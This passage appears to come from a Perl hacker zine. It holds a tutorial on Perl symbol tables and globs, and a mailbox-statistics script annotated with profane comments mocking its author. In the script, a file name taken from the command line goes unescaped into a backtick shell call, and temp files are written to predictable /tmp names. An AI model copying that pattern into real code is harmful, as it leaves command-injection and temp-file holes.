3985"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3986"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3987"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3988"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3989"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3990"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3991"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3992"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3993"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3994"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3995"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3996"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3997"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3998"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3999"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
4000"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
4001"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
4002"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
4003"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
4004"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
4005"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
4006"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
4007"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
4008"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
4009"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
4010"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
4011"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
4012"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
4013"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
4014"\x05\x08\x00\x00\x04\x08\x00\x00\x00\x32\x00\x5f\xd0\xac\x12\xc2".
4015"\x00\x00\x00\x1c\x00\x32\x00\x00\x75\x73\x72\x6f\x00\x00\x00\x0a".
4016"\x00\x00\xff\xff\x00\x00\x00\x00\x01\x0d\x21\x7c";
4017}
40181;
4019
4020-[0x12] # School You: broquaint ------------------------------------------
4021
4022Welcome to Of Symbol Tables and Globs where you'll be taken on a
4023journey through the inner workings of those mysterious perlish
4024substances: globs and symbol tables. We'll start off in the land of
4025symbol tables where the globs live and in the second part of the
4026tutorial progress onto the glob creatures themselves.
4027
4028Symbol tables
4029
4030Perl has two different types of variables - lexical and package global.
4031In this particular tutorial we'll only be covering package global
4032variables as lexical variables have nothing to do with globs or symbol
4033tables (see. Lexical scoping like a fox for more information on lexical
4034variables).
4035
4036Now a package global variable can only live within a symbol table and
4037is dynamically scoped (versus lexically scoped). These package global
4038variables live in symbol tables, or to be more accurate, they live in
4039slots within globs which themselves live in the symbol tables.
4040
4041A symbol table comes about in various ways, but the most common way in
4042which they are created is through the package declaration. Every
4043variable, subroutine, filehandle and format declared within a package
4044will live in a glob slot within the given package's symbol table (this
4045is of course excluding any lexical declarations)
4046
4047## create an anonymous block to limit the scope of the package
4048{
4049 package globtut;
4050
4051 $var = "a string";
4052 @var = qw( a list of strings );
4053
4054 sub var { }
4055}
4056
4057use Data::Dumper;
4058
4059print Dumper(\%globtut::);
4060
4061__output__
4062
4063$VAR1 = {
4064 'var' => *globtut::var
4065 };
4066
4067
4068There we create a symbol table with package globtut, then the scalar,
4069array and subroutine are all 'put' into the *var glob because they all
4070share the same name. This is implicit behavior for the vars, so if we
4071wanted to explicitly declare the vars into the globtut symbol table
4072we'd do the following
4073
4074$globtut::var = "a string";
4075@globtut::var = qw( a list of strings );
4076
4077sub globtut::var { }
4078
4079use Data::Dumper;
4080
4081print Dumper(\%globtut::);
4082
4083__output__
4084
4085$VAR1 = {
4086 'var' => *globtut::var
4087 };
4088
4089
4090Notice how we didn't use a package declaration there? This is because
4091the globtut symbol table is auto-vivified when $globtut::var is
4092declared.
4093
4094Something else to note about the symbol table is that it has two colons
4095appended to the name, so globtut became %globtut::. This means that any
4096packages that live below that will have :: prepended to the name, so if
4097we add a child package it would be neatly separated by the double
4098colons e.g
4099
4100use Data::Dumper;
4101{
4102 package globtut;
4103 package globtut::child;
4104 ## ^^
4105}
4106
4107
4108Another attribute of symbol tables demonstrated when %globtut:: was
4109dumped above is that they are accessed just like normal perl hashes. In
4110fact, they are like normal hashes in many respects, you can perform all
4111the normal hash operations on a symbol table and add normal key-value
4112pairs, and if you're brave enough to look under the hood you'll notice
4113that they are in fact hashes, but with a touch of that perl Magic. Here
4114are some examples of hash operations being used on symbol tables
4115
4116use Data::Dumper;
4117{
4118 package globtut;
4119
4120 $foo = "a string";
4121
4122 $globtut::{bar} = "I'm not even a glob!";
4123 %globtut::baz:: = %globtut::;
4124
4125 print Data::Dumper::Dumper(\%globtut::baz::);
4126
4127 print "keys: ", join(', ', keys %globtut::), $/;
4128 print "values: ", join(', ', values %globtut::), $/;
4129 print "each: ", join(' => ', each %globtut::), $/;
4130
4131 print "exists: ", (exists $globtut::{foo} && "exists"), $/;
4132 print "delete: ", (delete $globtut::{foo} && "deleted"), $/;
4133 print "defined: ", (defined $globtut::{foo} || "no foo"), $/;
4134}
4135
4136__output__
4137
4138$VAR1 = {
4139 'foo' => *globtut::foo,
4140 'bar' => 'I\'m not even a glob!',
4141 'baz::' => *{'globtut::baz::'}
4142 };
4143keys: foo, bar, baz::
4144values: *globtut::foo, I'm not even a glob!, *globtut::baz::
4145each: foo => *globtut::foo
4146exists: exists
4147delete: deleted
4148defined: no foo
4149
4150
4151So to access the globs within the globtut symbol table we access the
4152desired key which will correspond to a variable name
4153
4154{
4155 package globtut;
4156
4157 $variable = "a string";
4158 @variable = qw( a list of strings );
4159
4160 sub variable { }
4161
4162 print $globtut::{variable}, "\n";
4163}
4164
4165__output__
4166
4167*globtut::variable
4168
4169
4170And if we want to add another glob to a symbol table we add it exactly
4171like we would with a hash
4172
4173{
4174 package globtut;
4175
4176 $foo = "a string";
4177 $globtut::{variable} = *foo;
4178
4179 print "\$variable: $variable\n";
4180}
4181
4182__output__
4183
4184$variable: a string
4185
4186
4187If you'd like to see some more advanced uses of symbol tables and
4188symbol table manipulation then check out the Symbol module which comes
4189with the core perl distribution, and more specifically the
4190Symbol::gensym function.
4191
4192Globs
4193
4194So we can now see that globs live within symbol tables, but that
4195doesn't tell us a lot about globs themselves and so this section of the
4196tutorial shall endeavour to explain them.
4197
4198Within a glob are 6 slots where the various perl data types will be
4199stored. The 6 slots which are available are
4200
4201SCALAR - scalar variables
4202ARRAY - array variables
4203HASH - hash variables
4204CODE - subroutines
4205IO - directory/file handles
4206FORMAT - formats
4207
4208All these slots are accessible bar the FORMAT slot. Why this is I don't
4209know, but I don't think it's of any great loss.
4210
4211It may be asked as to why there isn't a GLOB type, and the answer would
4212be that globs are containers or meta-types (depending on how you want
4213to see it) not data types.
4214
4215Accessing globs is similar to accessing hashes, accept we use the *
4216sigil and the only keys are those data types listed above
4217
4218
4219$scalar = "a simple string";
4220print *scalar{SCALAR}, "\n";
4221
4222__output__
4223
4224SCALAR(0x8107e78)
4225
4226
4227"$Exclamation", you say, "I was expecting 'a simple string', not a
4228reference!". This is because the slots within the globs only contain
4229references, and these references point to the values. So what we really
4230wanted to say was
4231
4232$scalar = "a simple string";
4233print ${ *scalar{SCALAR} }, "\n";
4234
4235__output__
4236
4237a simple string
4238
4239
4240Which is essentially just a complex way of saying
4241
4242 $scalar = "a simple string";
4243 print $::scalar, "\n";
4244
4245 __output__
4246
4247 a simple string
4248
4249
4250So as you can probably guess perl's sigils are the conventional method
4251of accessing the individual data types within globs. As for the likes
4252of IO it has to be accessed specifically as perl doesn't provide an
4253access sigil for it.
4254
4255Something you may have noticed is that we're referencing the globs
4256directly, without going through the symbol table. This is because globs
4257are "global" and are not effected by strict. But if we wanted to access
4258the globs via the symbol table then we would do it like so
4259
4260$scalar = "a simple string";
4261print ${ *{$main::{scalar}}{SCALAR} }, "\n";
4262
4263__output__
4264
4265a simple string
4266
4267
4268Now the devious among you may be thinking something along the lines of
4269"If it's a hash then why don't I just put any old value in there?". The
4270answer to this of course, is that you can't as globs aren't hashes! So
4271we can try, but we will fail like so
4272
4273${ *scalar{FOO} } = "the FOO data type";
4274
4275__output__
4276
4277Can't use an undefined value as a SCALAR reference at - line 1.
4278
4279
4280So we can't force a new type into the glob, we'll only ever get an
4281undefined value when an undefined slot is accessed. But if we were to
4282use SCALAR instead of FOO then the $scalar variable would contain "the
4283FOO data type".
4284
4285Another thing to be noted from the above example is that you can't
4286assign to glob slots directly, only through dereferencing them.
4287
4288## this is fine as we're dereferencing the stored reference
4289${ *foo{SCALAR} } = "a string";
4290
4291## this will generate a compile-time error
4292*foo{SCALAR} = "a string";
4293
4294__output__
4295
4296Can't modify glob elem in scalar assignment at - line 5, near ""a stri
4297+ng";"
4298
4299
4300As one might imagine having to dereference a glob with the correct data
4301every time one wants to assign to a glob can be tedious and
4302occasionally prohibitive. Thankfully, globs come with some of perl's
4303yet to be patented Magic, so that when you assign to a glob the correct
4304slot will be filled depending on the datatype being used in the
4305assignment e.g
4306
4307*foo = \"a scalar";
4308print $foo, "\n";
4309
4310*foo = [ qw( a list of strings ) ];
4311print @foo, "\n";
4312
4313
4314*foo = sub { "a subroutine" };
4315print foo(), "\n";
4316
4317__output__
4318
4319a scalar
4320alistofstrings
4321a subroutine
4322
4323
4324Note that we're using references there as globs only contain
4325references, not the actual values. If you assign a value to a glob, it
4326will assign the glob to a glob of the name corresponding to the value.
4327Here's some code to help clarify that last sentence
4328
4329use Data::Dumper;
4330## use a fresh uncluttered package for minimal Dumper output
4331{
4332 package globtut;
4333
4334 *foo = "string";
4335
4336 print Data::Dumper::Dumper(\%globtut::);
4337}
4338
4339__output__
4340
4341$VAR1 = {
4342 'string' => *globtut::string,
4343 'foo' => *globtut::string
4344};
4345
4346
4347So when the glob *foo is assigned "string" it then points to the glob
4348*string. But this is generally not what you want, so moving on swiftly
4349...
4350
4351Bringing it all together
4352
4353Now that we have some knowledge of symbol tables and globs let's put
4354them to use by implementing an import method.
4355
4356When use()ing a module the import method is called from that module.
4357The purpose of this is so that you can import things into the calling
4358package. This is what Exporter does, it imports the things listed in
4359@EXPORT and optionally @EXPORT_OK (see the Exporter docs for more
4360details). An import method will do this by assigning things to the
4361caller's symbol table.
4362
4363We'll now write a very simple import method to import all the
4364subroutines into the caller's package
4365
4366## put this code in Foo.pm
4367
4368package Foo;
4369
4370use strict;
4371
4372sub import {
4373 ## find out who is calling us
4374 my $pkg = caller;
4375
4376 ## while strict doesn't deal with globs, it still
4377 ## catches symbolic de/referencing
4378 no strict 'refs';
4379
4380 ## iterate through all the globs in the symbol table
4381 foreach my $glob (keys %Foo::) {
4382 ## skip anything without a subroutine and 'import'
4383 next if not defined *{$Foo::{$glob}}{CODE}
4384 or $glob eq 'import';
4385
4386 ## assign subroutine into caller's package
4387 *{$pkg . "::$glob"} = \&{"Foo::$glob"};
4388 }
4389}
4390
4391## this won't be imported ...
4392$Foo::testsub = "a string";
4393
4394## ... but this will
4395sub testsub {
4396 print "this is a testsub from Foo\n";
4397}
4398
4399## and so will this
4400sub fooify {
4401 return join " foo ", @_;
4402}
4403
4404q</package Foo>;
4405
4406
4407Now for the demonstration code
4408
4409use Data::Dumper;
4410## we'll stay out of the 'polluted' %main:: symbol table
4411{
4412 package globtut;
4413
4414 use Foo;
4415
4416 testsub();
4417
4418 print "no \$testsub defined\n"
4419 unless defined $testsub;
4420
4421 print "fooified: ", fooify(qw( ichi ni san shi )), "\n";
4422
4423 print Data::Dumper::Dumper(\%globtut::);
4424}
4425
4426__output__
4427
4428this is a testsub from Foo
4429no $testsub defined
4430fooified: ichi foo ni foo san foo shi
4431$VAR1 = {
4432 'testsub' => *globtut::testsub,
4433 'BEGIN' => *globtut::BEGIN,
4434 'fooify' => *globtut::fooify
4435 };
4436
4437
4438Hurrah, we have succesfully imported Foo's subroutines into the globtut
4439symbol table (the BEGIN there is somewhat magical and created during
4440the use).
4441
4442Summary
4443
4444So in summary, symbol tables store globs and can be treated like
4445hashes. Globs are accessed like hashes and store references to the
4446individual data types. I hope you've learned something along the way
4447and can now go forth and munge these two no longer mysterious aspects
4448of perl with confidence!
4449
4450-[0x13] # Elementary, Watson ---------------------------------------------
4451
4452#!/usr/bin/perl
4453
4454# alright fucker. let's go
4455
4456use Getopt::Std;
4457use Date::Manip;
4458use Mail::MboxParser;
4459local ($opt_L, $opt_N, $opt_G);
4460# get rid of local and GET WITH THE TIMES
4461
4462$VERSION = '2.4.7';
4463
4464getopts('edshluELNGTHD:m:f:t:v');
4465if ($opt_d) { $opt_v = 1; }
4466
4467if ( !($opt_e xor $opt_d xor $opt_s) or $opt_h ) { &usage }
4468# NO
4469
4470print "<pre>\n" if ($opt_H);
4471
4472$opt_t = 'today' unless ($opt_t);
4473$opt_f = 'Dec 31, 1969' unless ($opt_f);
4474$date1 = &ParseDate("$opt_f 00:00:00");
4475# drop the address
4476$date2 = &ParseDate("$opt_t 23:59:59");
4477$mailbox = $ARGV[0];
4478# not here
4479if ($mailbox =~ /^http\:/) {
4480 print "Using LWP to fect mailbox\n" if ($opt_v);
4481 eval {
4482 if ($mailbox =~ /gz$/) {
4483 $tmpfile = "/tmp/.count" . time . ".gz";
4484 } else {
4485 $tmpfile = "/tmp/.count" . time;
4486 }
4487 use LWP::Simple;
4488 # here? use HERE? is it really worth it?
4489 # why wrap it, you're not doing shit worth
4490 # doing on a fail
4491 mirror($mailbox, $tmpfile);
4492 $tmpbox = 1;
4493 $mailbox = $tmpfile;
4494 # here I was going to say that's stupid
4495 # but you didn't use strict, I don't even
4496 # know where the fuck you use these next
4497 }
4498}
4499if ( ! -e $mailbox ) {
4500 print "There appears to be a problem. Mailbox not found\n";
4501 exit;
4502}
4503# get your shit in order and keep it clean
4504
4505if ($mailbox =~ /\.gz$/) {
4506 print "Decompresing mailbox\n" if ($opt_v);
4507 $gzip = `which gunzip 2>/dev/null`;
4508 if ( !$gzip ) {
4509 print "Unable to find gunzip to decompress file.\n" if ($opt_v);
4510 $gzip = `which gzip 2>/dev/null`;
4511 if ( !$gzip ) {
4512 print "Unable to find gzip to decompress file.\n" if ($opt_v);
4513 print "ERROR: Unable to decompress mailbox.\n";
4514 exit;
4515 }
4516 }
4517 chomp $gzip;
4518 `$gzip -d $mailbox`;
4519 $mailbox =~ s/\.gz$//;
4520}
4521print "Opening mailbox $mailbox\n" if ($opt_v);
4522$mbx = Mail::MboxParser->new($mailbox);
4523$mbx->make_index;
4524$msgc = 0;
4525print "Evaluating messages\n" if ($opt_v);
4526# I bet this label is very necessary
4527MESSAGE: for $msg ($mbx->get_messages) {
4528 printf STDERR "MSG Num: %6.5d\nMSG Start Pos: %10.10d\n",
4529 $msgc, $mbx->get_pos($msgc) . "\n" if ($opt_D);
4530 my $lines = $new_lines = $html = $toppost = $quotes = $footer = $PGP = $PGPSig = 0;
4531 # what the fuck...
4532 $date = $msg->header->{'date'};
4533 $date3 = &ParseDate($date);
4534 $start = &Date_Cmp($date1,$date3);
4535 $end = &Date_Cmp($date2,$date3);
4536 print STDERR "Date_Cmp: $date1 < $date3 > $date2\n" if ($opt_D > 1);
4537 print STDERR "Date_Cmp: $start <= 0 => $end\n" if ($opt_D > 1);
4538 # drop the parens and put your hands in the air
4539 # you're under arrest for shitty long annoying code
4540 # mock that line, dare ya
4541 if ( $start <= 0 and $end >= 0) {
4542 if ($opt_D > 4) {
4543 $headers = $msg->header;
4544 for $head (sort keys %$headers) {
4545 # ugh
4546 if (@{$msg->header->{$head}}) {
4547 for $value (@{$msg->header->{$head}}) {
4548 print STDERR "HEADER:::$head => $value\n"
4549 }
4550 } else {
4551 print STDERR "HEADER::$head => " . $msg->header->{$head} . "\n"
4552 }
4553 }
4554 print STDERR "-_" x 30 . "\n"
4555 }
4556 my $msgid = $msg->header->{'message-id'};
4557 $msgid =~ s/[\<\>]//g;
4558 my $to = $msg->header->{'to'};
4559 $to =~ s/^[\s\S]*\<([\w\d\-\$\+\.\@\%\]\[]+)\>.*$/$1/;
4560 # what the hell are you doing
4561 $to =~ /^([\w\.\-]+)\@.*\.\w+$/;
4562 my $sto = $1;
4563 # one line it
4564 print STDERR "To: $to ($sto)\n" if ($opt_D > 1);
4565 my $sub = $msg->header->{'subject'};
4566 if ($opt_l and ($sub eq '(no subject)' or $sub eq '') ) { $html++; $bad++ }
4567 # bad++ indeed
4568 print STDERR "Subject: $sub\n" if ($opt_D > 1);
4569 # bad++
4570 my $references = $msg->header->{'references'};
4571 $references =~ s/\s*//g;
4572 $references =~ s/\<([\w\d\-\$\.\@\%\]\[]+)\>/$1\n/g;
4573 # bad++
4574 my $replyto = $msg->header->{'in-reply-to'};
4575 $replyto =~ s/\s*//g;
4576 $replyto =~ s/^\s*\<([\w\d\-\$\.\@\%\]\[]+)\>.*$/$1/;
4577 # bad++
4578 print STDERR "Message-ID: $msgid\n" if ($opt_D > 1);
4579 # bad++
4580 print STDERR "In-Reply-To: $replyto\n" if ($opt_D > 1 and $replyto);
4581 # bad++
4582 print STDERR "References: $references\n" if ($opt_D > 1 and $references);
4583 # bad++
4584 if ( $msgid{$msgid} ) {
4585 print STDERR "Duplicate Message: $msgid\n" if ($opt_D);
4586 # bad++
4587 next;
4588 # bad++
4589 } else {
4590 # bad++
4591 $msgid{$msgid}++;
4592 # bad++
4593 }
4594 $count2++;
4595 # bad++
4596 $email = $msg->from->{'email'};
4597 print STDERR "From: $email\n" if ($opt_D > 1);
4598 # bad++
4599 $email =~ tr/[A-Z]/[a-z]/;
4600 # bad++ never heard of lc
4601 $email =~ s/[\<\>]//g;
4602 # bad++
4603 $email =~ s/ \(.+\)$//g;
4604 # bad++
4605 $email =~ s/^\".+\"//;
4606 # bad++
4607 if ($opt_e) {
4608 $who = $email;
4609 } elsif ($opt_d) {
4610 $email =~ /^[\w\.\-]+\@(.*\.\w+)$/;
4611 # bad++
4612 $who = $1;
4613 # bad++
4614 } elsif ($opt_s) {
4615 $email =~ /^[\w\.\-]+\@.*(\.\w+)$/;
4616 # bad++
4617 $who = $1;
4618 # bad++
4619 }
4620 if (!$who) {
4621 print STDERR "Unable to fine _who_\n" if ($opt_D > 1);
4622 # bad++
4623 print STDERR '-' x 75 . "\n" if ($opt_D);
4624 # bad++
4625 $msgc++;
4626 # bad++ what's with all these variables ++ing all over
4627 next MESSAGE;
4628 # bad++ oh here's where that label comes in handy...
4629 } else {
4630 # bad++
4631 print STDERR "Matched: $who\n" if ($opt_D > 1);
4632 # bad++
4633 }
4634 if (
4635 $msg->header->{'x-originating-ip'}
4636 and
4637 $track{$msg->header->{'x-originating-ip'}}
4638 and
4639 $track{$msg->header->{'x-originating-ip'}} ne $who
4640 ) {
4641 # I like it! Cute!
4642 print STDERR "TRACE::" . $track{$msg->header->{'x-originating-ip'}}
4643 . " and $who using " . $msg->header->{'x-originating-ip'} . "\n"
4644 if ($opt_D > 4);
4645 } elsif ($msg->header->{'x-originating-ip'}) {
4646 $track{$msg->header->{'x-originating-ip'}} = $who;
4647 print STDERR "IP::" . $msg->header->{'x-originating-ip'} . " => $who\n"
4648 if ($opt_D > 4);
4649 # lose some CONTROL
4650 }
4651 my $body = $msg->body($msg->find_body);
4652 @msg_body = $body->as_lines;
4653 if ($msg->is_multipart) {
4654 @parts = $msg->parts;
4655 if (@parts and $opt_l) {
4656 print STDERR "Message $count2 has multiple parts\n" if ($opt_D);
4657 print STDERR "Testing message $count2 for 'bad' parts\n" if ($opt_D);
4658 my $i;
4659 PARTS: for $i (0..$#parts) {
4660 # suddenly you care about lexical variables?
4661 # for my $i (0 .. $#parts) {
4662 my $part_type = $parts[$i]->effective_type;
4663 if ($part_type =~ /^text\/html|enriched/i
4664 or $part_type =~ /^image|audio|application\/[^pgp-]/i
4665 ) {
4666 print STDERR "MIME-Type: $part_type (*co*loser*ugh*)\n" if ($opt_D > 1);
4667 $html++;
4668 $bad++;
4669 last PARTS;
4670 } else {
4671 print STDERR "MIME-Type: $part_type looks ok\n" if ($opt_D > 1);
4672 }
4673 }
4674 }
4675 }
4676 LINE: for (@msg_body) {
4677 next LINE if ( m/^$/ );
4678 # better ways to check for falseness
4679 # Need to check for footers and Sigs and stuff
4680 if (/^__________________________________________________$/) {
4681 # must it all be STDERR? Is it all so error filled?!
4682 print STDERR "Possible Footer\n" if ($opt_D > 1);
4683 $footer++;
4684 } elsif ($footer and /^Do You Yahoo!\?$/) {
4685 print STDERR "Yep, its a Yahoo footer, Skipping to next Message\n"
4686 if ($opt_D > 1);
4687 next MESSAGE;
4688 } elsif (/^-----BEGIN PGP SIGNED MESSAGE-----$/) {
4689 print STDERR "PGP Signed Message\n" if ($opt_D > 1);
4690 print STDERR "PGP::$who $_" if ($opt_D > 4);
4691 $PGP++;
4692 next LINE;
4693 } elsif ($PGP and /^Hash: (\w+)$/) {
4694 print STDERR "PGP Hash Type ($1)\n" if ($opt_D > 1);
4695 print STDERR "PGP::$who $_" if ($opt_D > 4);
4696 next LINE;
4697 } elsif (/^-----BEGIN PGP SIGNATURE-----$/) {
4698 print STDERR "Begin PGP Signature\n" if ($opt_D > 1);
4699 print STDERR "PGP::$who $_" if ($opt_D > 4);
4700 $PGPsig++;
4701 next LINE;
4702 } elsif ($PGPsig and ! /^-----END PGP SIGNATURE-----$/) {
4703 print STDERR "PGP::$who $_" if ($opt_D > 4);
4704 next LINE;
4705 } elsif ($PGPsig and /^-----END PGP SIGNATURE-----$/) {
4706 print STDERR "END PGP Signature\n" if ($opt_D > 1);
4707 print STDERR "PGP::$who $_" if ($opt_D > 4);
4708 $PGPsig--;
4709 next LINE;
4710 }
4711 #####################################
4712 $lines++;
4713 if ( ! m/^[ \t]*$|^[ \t]*[>:]/ ) {
4714 $new_lines++;
4715 if ($new_lines > 1 and !$quotes) {
4716 $toppost++;
4717 } elsif ($quotes and $toppost) {
4718 $toppost = 0;
4719 }
4720 if ($opt_u) {
4721 if (/(https?\:\/\/\S+)/) {
4722 # Leaning Toothpick Syndrome takes another innocent child
4723 my $site = #1;
4724 chomp $site;
4725 $site =~ s/[\>\.\)]*$//;
4726 $sub =~ s/^re\:\s//i;
4727 # small steps, small steps!
4728 $sub =~ s/^\[[\w\-\d\:]+\]\s//i;
4729 if ($site =~ /(yahoo|msn|hotjobs|hotmail|your\-name|pgp|excite)\.com\/?$/
4730 or $site =~ /(promo|click|docs)\.yahoo\.com/
4731 or $site =~ /(explorer|messenger|mobile)\.msn\.com/
4732 or $site =~ /mailman\/listinfo\/$sto$/
4733 or $skipped{$site}) {
4734 $skipped{$site}++;
4735 print STDERR "Skipping $site ($skipped{$site})\n"
4736 . " - from message '$sub'\n - from $who\n\n"
4737 if ($opt_D > 1);
4738 } else {
4739 if (!$urls{$site}) {
4740 print STDERR "Adding $site\n from message '$sub'\n from $who\n\n"
4741 if ($opt_D > 1);
4742 $contrib{$who}++;
4743 $urls{$site} = $sub;
4744 push @{$url_list{$sub}}, $site;
4745 } else {
4746 print STDERR "Skipping (duplicate) $site\n from message '$sub'\n from $who\n\n"
4747 if ($opt_D > 1);
4748 }
4749 }
4750 }
4751 }
4752 print STDERR "NEW($new_lines, $lines) $_" if ($opt_D > 2);
4753 } else {
4754 print STDERR "QUOT($lines) $_" if ($opt_D > 2);
4755 $quotes++;
4756 }
4757 }
4758 $tracker{$msgid} = $who;
4759 if ($replyto and $tracker{$replyto}) {
4760 $replyto{$tracker{$replyto}}++;
4761 print STDERR "Replying to: $tracker{$replyto} ($replyto{$tracker{$replyto}})\n"
4762 if ( $opt_D > 1 );
4763 } elsif ($replyto) {
4764 print STDERR "Replying to: Unknown Reference\n"
4765 if ( $opt_D > 1 );
4766 }
4767 if ($references) {
4768
4769 # seriously what's with the spagetti code
4770 # look at it
4771 # all over the place
4772 # messing with vars everywhere
4773 # how do you debug this shit?
4774 # why not call some subroutines
4775 # or SOMETHING
4776
4777 my $rmsgidc = 1;
4778 RMSGID: foreach my $rmsgid ( split("\n", $references) ) {
4779 next RMSGID unless ( $rmsgid );
4780 print STDERR "Reference MSGID ($rmsgidc): $rmsgid\n"
4781 if ($opt_D > 1);
4782 if ($rmsgid ne $replyto and $tracker{$rmsgid}) {
4783 $replyto{$tracker{$rmsgid}}++;
4784 print STDERR "Referencing ($rmsgidc): $tracker{$rmsgid} ($replyto{$tracker{$rmsgid}})\n"
4785 if ( $opt_D > 1 );
4786 } elsif ($tracker{$rmsgid}) {
4787 print STDERR "Referenced In-Reply-To Duplicate ($rmsgidc): $tracker{$rmsgid} ($replyto{$tracker{$rmsgid}})\n"
4788 if ( $opt_D > 1 );
4789 } else {
4790 print STDERR "Referencing ($rmsgidc): Unknown Reference\n"
4791 if ($opt_D > 1);
4792 # fuck make up your mind and not compare that for everyone, compare earlier
4793 }
4794 $rmsgidc++;
4795 }
4796 }
4797 if ($new_lines * 10 < $lines - $new_lines and !$html) {
4798 $html++;
4799 $bad++;
4800 # just what I was thinking!
4801 print STDERR "$sub) New lines ($new_lines) is less that 10% of quoted lines("
4802 . ($lines - $new_lines) . ") by $who\n" if ($opt_D);
4803 } elsif (!$html and $toppost and $quotes) {
4804 $html++;
4805 $bad++;
4806 print STDERR "$sub) Top Post from $who\n" if ($opt_D);
4807 }
4808 for my $line ($body->signature) {
4809 print STDERR "SIG::$who => $line\n" if ($line !~ /^\s*$/ and $opt_D > 2);
4810 }
4811 $count{$who}++;
4812 $lines{$who} += $lines;
4813 $new_lines{$who} += $new_lines;
4814 $html{$who} += $html;
4815 $counter++;
4816 if ($html{$who} > $count{$who}) { die "ERROR: Bad Mails outnumbers Total Mails\n" }
4817 }
4818 print STDERR '-' x 75 . "\n" if ($opt_D);
4819 $msgc++;
4820}
4821print "Removing temporary mailbox\n" if ($opt_v and $tmpbox);
4822unlink($mailbox) if ($tmpbox);
4823# remove(parens) where(unnecessary);
4824
4825
4826if ( $opt_L ) {
4827 print "Sorting by total number of lines sent\n" if ($opt_v);
4828 @keys = sort {
4829 $lines{$b} <=> $lines{$a} || $a cmp $b
4830 } keys %lines;
4831} elsif ( $opt_N ) {
4832 print "Sorting by total number of new lines sent\n" if ($opt_v);
4833 @keys = sort {
4834 $new_lines{$b} <=> $new_lines{$a} || length($b) <=> length($a) || $a cmp $b
4835 } keys %new_lines;
4836} elsif ( $opt_G ) {
4837 print "Sorting by total number of noise sent\n" if ($opt_v);
4838 @keys = sort {
4839 ($lines{$a} / $new_lines{$a}) <=> ($lines{$b} / $new_lines{$b})
4840 } keys %count;
4841} else {
4842 print "Sorting by total number of emails sent\n" if ($opt_v);
4843 @keys = sort {
4844 $count{$b} <=> $count{$a} || length($b) <=> length($a) || $a cmp $b
4845 } keys %count;
4846}
4847
4848&load_formats;
4849# boo
4850
4851die $@ if $@;
4852# geez just a little late don't you think
4853
4854# same shit different section
4855print '-' x 75 . "\n" if ($opt_v);
4856print "count $VERSION by MadHat\@unspecific.com - [[|%^)\n--\n\n"
4857 if ($opt_v);
4858print "Total emails checked: $count2\n" if ($opt_v);
4859print "Start Date: " . UnixDate($date1, "%b %e, %Y") . "\n"
4860 if ($opt_f);
4861print "End Date: " . UnixDate($date2, "%b %e, %Y") . "\n"
4862 if ($opt_f or $opt_t);
4863print "Total emails matched: $counter\n" if ($counter != $count2);
4864print "Total emails from losers: $bad\n" if ($bad and $opt_l);
4865$number = keys %count;
4866print "Total Unique Entries: $number\n";
4867$max_count = $opt_m?$opt_m:50;
4868for $id (@keys) {
4869 $perc = $loser = 0;
4870 $replyto{$id} = $replyto{$id}?$replyto{$id}:'0';
4871 $current_number++;
4872 last if ($current_number > $max_count);
4873 $perc = $new_lines{$id} / $lines{$id} * 100 if ($lines{$id});
4874 $loser = $html{$id} / $count{$id} * 100 if ($html{$id} > 0);
4875 write;
4876}
4877if ($opt_u) {
4878 print "\n--\n\n";
4879 print "Contributers URLs\n";
4880 print "------------ ----\n";
4881 for (sort {$contrib{$b} <=> $contrib{$a}} keys %contrib) {
4882 $contribc++;
4883 printf "%2d) %-35s %3d\n", $contribc, $_, $contrib{$_};
4884 }
4885 print "\nURLs Found\n-------------\n";
4886 for (sort keys %url_list) {
4887 print "$_\n";
4888 for $URL (@{$url_list{$_}}) {
4889 print " $URL\n";
4890 }
4891 print "\n";
4892 }
4893}
4894
4895print "</pre>\n" if ($opt_H);
4896
48970;
4898# 0? 0? 0!! 1; 1!
4899#---------------------------------------
4900
4901# get these up, up up up!
4902sub usage {
